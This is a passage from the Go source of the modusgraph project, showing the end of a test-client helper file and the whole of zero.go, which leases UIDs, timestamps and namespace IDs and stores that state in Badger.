ModusGraph client for testing purposes with a configured logger. 16 | // It returns the client and a cleanup function that should be deferred by the caller. 17 | func CreateTestClient(t *testing.T, uri string) (mg.Client, func()) { 18 | 19 | stdLogger := log.New(os.Stdout, "", log.LstdFlags) 20 | logger := stdr.NewWithOptions(stdLogger, stdr.Options{LogCaller: stdr.All}).WithName("mg") 21 | verbosity := os.Getenv("MODUSGRAPH_TEST_LOG_LEVEL") 22 | if verbosity == "" { 23 | stdr.SetVerbosity(0) 24 | } else { 25 | level, err := strconv.Atoi(verbosity) 26 | if err != nil { 27 | stdr.SetVerbosity(0) 28 | } else { 29 | stdr.SetVerbosity(level) 30 | } 31 | } 32 | 33 | client, err := mg.NewClient(uri, mg.WithAutoSchema(true), mg.WithLogger(logger)) 34 | require.NoError(t, err) 35 | 36 | cleanup := func() { 37 | err := client.DropAll(context.Background()) 38 | if err != nil { 39 | t.Error(err) 40 | } 41 | client.Close() 42 | 43 | // Reset the singleton state so the next test can create a new engine 44 | mg.ResetSingleton() 45 | } 46 | 47 | return client, cleanup 48 | } 49 | 50 | // SetupTestEnv configures the environment variables for tests. 51 | // This is particularly useful when debugging tests in an IDE. 52 | func SetupTestEnv(logLevel int) { 53 | // Only set these if they're not already set in the environment 54 | if os.Getenv("MODUSGRAPH_TEST_ADDR") == "" { 55 | os.Setenv("MODUSGRAPH_TEST_ADDR", "localhost:9080") 56 | } 57 | if os.Getenv("MODUSGRAPH_TEST_LOG_LEVEL") == "" { 58 | // Uncomment to enable verbose logging during debugging 59 | os.Setenv("MODUSGRAPH_TEST_LOG_LEVEL", strconv.Itoa(logLevel)) 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /zero.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "fmt" 10 | 11 | "github.com/dgraph-io/badger/v4" 12 | "github.com/hypermodeinc/dgraph/v24/posting" 13 | "github.com/hypermodeinc/dgraph/v24/protos/pb" 14 | "github.com/hypermodeinc/dgraph/v24/worker" 15 | "github.com/hypermodeinc/dgraph/v24/x" 16 | "google.golang.org/protobuf/proto" 17 | ) 18 | 19 | const ( 20 | zeroStateUID = 1 21 | initialUID = 2 22 | 23 | schemaTs = 1 24 | zeroStateTs = 2 25 | initialTs = 3 26 | 27 | leaseUIDAtATime = 10000 28 | leaseTsAtATime = 10000 29 | 30 | zeroStateKey = "0-dgraph.modusdb.zero" 31 | ) 32 | 33 | func (ns *Engine) LeaseUIDs(numUIDs uint64) (*pb.AssignedIds, error) { 34 | num := &pb.Num{Val: numUIDs, Type: pb.Num_UID} 35 | return ns.z.nextUIDs(num) 36 | } 37 | 38 | type zero struct { 39 | minLeasedUID uint64 40 | maxLeasedUID uint64 41 | 42 | minLeasedTs uint64 43 | maxLeasedTs uint64 44 | 45 | lastNamespace uint64 46 | } 47 | 48 | func newZero() (*zero, bool, error) { 49 | zs, err := readZeroState() 50 | if err != nil { 51 | return nil, false, err 52 | } 53 | restart := zs != nil 54 | 55 | z := &zero{} 56 | if zs == nil { 57 | z.minLeasedUID = initialUID 58 | z.maxLeasedUID = initialUID 59 | z.minLeasedTs = initialTs 60 | z.maxLeasedTs = initialTs 61 | z.lastNamespace = 0 62 | } else { 63 | z.minLeasedUID = zs.MaxUID 64 | z.maxLeasedUID = zs.MaxUID 65 | z.minLeasedTs = zs.MaxTxnTs 66 | z.maxLeasedTs = zs.MaxTxnTs 67 | z.lastNamespace = zs.MaxNsID 68 | } 69 | posting.Oracle().ProcessDelta(&pb.OracleDelta{MaxAssigned: z.minLeasedTs - 1}) 70 | worker.SetMaxUID(z.minLeasedUID - 1) 71 | 72 | if err := z.leaseUIDs(); err != nil { 73 | return nil, false, err 74 | } 75 | if err := z.leaseTs(); err != nil { 76 | return nil, false, err 77 | } 78 | 79 | return z, restart, nil 80 | } 81 | 82 | func (z *zero) nextTs() (uint64, error) { 83 | if z.minLeasedTs >= z.maxLeasedTs { 84 | if err := z.leaseTs(); err != nil { 85 | return 0, fmt.Errorf("error leasing timestamps: %w", err) 86 | } 87 | } 88 | 89 | ts := z.minLeasedTs 90 | z.minLeasedTs += 1 91 | posting.Oracle().ProcessDelta(&pb.OracleDelta{MaxAssigned: ts}) 92 | return ts, nil 93 | } 94 | 95 | func (z *zero) readTs() uint64 { 96 | return z.minLeasedTs - 1 97 | } 98 | 99 | func (z *zero) nextUID() (uint64, error) { 100 | uids, err := z.nextUIDs(&pb.Num{Val: 1, Type: pb.Num_UID}) 101 | if err != nil { 102 | return 0, err 103 | } 104 | return uids.StartId, nil 105 | } 106 | 107 | func (z *zero) nextUIDs(num *pb.Num) (*pb.AssignedIds, error) { 108 | var resp *pb.AssignedIds 109 | if num.Bump { 110 | if z.minLeasedUID >= num.Val { 111 | resp = &pb.AssignedIds{StartId: z.minLeasedUID, EndId: z.minLeasedUID} 112 | z.minLeasedUID += 1 113 | } else { 114 | resp = &pb.AssignedIds{StartId: z.minLeasedUID, EndId: num.Val} 115 | z.minLeasedUID = num.Val + 1 116 | } 117 | } else { 118 | resp = &pb.AssignedIds{StartId: z.minLeasedUID, EndId: z.minLeasedUID + num.Val - 1} 119 | z.minLeasedUID += num.Val 120 | } 121 | 122 | for z.minLeasedUID >= z.maxLeasedUID { 123 | if err := z.leaseUIDs(); err != nil { 124 | return nil, err 125 | } 126 | } 127 | 128 | worker.SetMaxUID(z.minLeasedUID - 1) 129 | return resp, nil 130 | } 131 | 132 | func (z *zero) nextNamespace() (uint64, error) { 133 | z.lastNamespace++ 134 | if err := z.writeZeroState(); err != nil { 135 | return 0, fmt.Errorf("error leasing namespace ID: %w", err) 136 | } 137 | return z.lastNamespace, nil 138 | } 139 | 140 | func readZeroState() (*pb.MembershipState, error) { 141 | txn := worker.State.Pstore.NewTransactionAt(zeroStateTs, false) 142 | defer txn.Discard() 143 | 144 | item, err := txn.Get(x.DataKey(zeroStateKey, zeroStateUID)) 145 | if err != nil { 146 | if err == badger.ErrKeyNotFound { 147 | return nil, nil 148 | } 149 | return nil, fmt.Errorf("error getting zero state: %v", err) 150 | } 151 | 152 | zeroState := &pb.MembershipState{} 153 | err = item.Value(func(val []byte) error { 154 | return proto.Unmarshal(val, zeroState) 155 | }) 156 | if err != nil { 157 | return nil, fmt.Errorf("error unmarshalling zero state: %v", err) 158 | } 159 | 160 | return zeroState, nil 161 | } 162 | 163 | func (z *zero) writeZeroState() error { 164 | zeroState := &pb.MembershipState{MaxUID: z.maxLeasedUID, MaxTxnTs: z.maxLeasedTs, MaxNsID: z.lastNamespace} 165 | data, err := proto.Marshal(zeroState) 166 | if err != nil { 167 | return fmt.Errorf("error marshalling zero state: %w", err) 168 | } 169 | 170 | txn := worker.State.Pstore.NewTransactionAt(zeroStateTs, true) 171 | defer txn.Discard() 172 | 173 | e := &badger.Entry{ 174 | Key: x.DataKey(zeroStateKey, zeroStateUID), 175 | Value: data, 176 | UserMeta: posting.BitCompletePosting, 177 | } 178 | if err := txn.SetEntry(e); err != nil { 179 | return fmt.Errorf("error setting zero state: %w", err) 180 | } 181 | if err := txn.CommitAt(zeroStateTs, nil); err != nil { 182 | return fmt.Errorf("error committing zero state: %w", err) 183 | } 184 | 185 | return nil 186 | } 187 | 188 | func (z *zero) leaseTs() error { 189 | if z.minLeasedTs+leaseTsAtATime <= z.maxLeasedTs { 190 | return nil 191 | } 192 | 193 | z.maxLeasedTs += z.minLeasedTs + leaseTsAtATime 194 | if err := z.writeZeroState(); err != nil { 195 | return fmt.Errorf("error leasing UIDs: %w", err) 196 | } 197 | 198 | return nil 199 | } 200 | 201 | func (z *zero) leaseUIDs() error { 202 | if z.minLeasedUID+leaseUIDAtATime <= z.maxLeasedUID { 203 | return nil 204 | } 205 | 206 | z.maxLeasedUID += z.minLeasedUID + leaseUIDAtATime 207 | if err := z.writeZeroState(); err != nil { 208 | return fmt.Errorf("error leasing timestamps: %w", err) 209 | } 210 | 211 | return nil 212 | } 213 | --------------------------------------------------------------------------------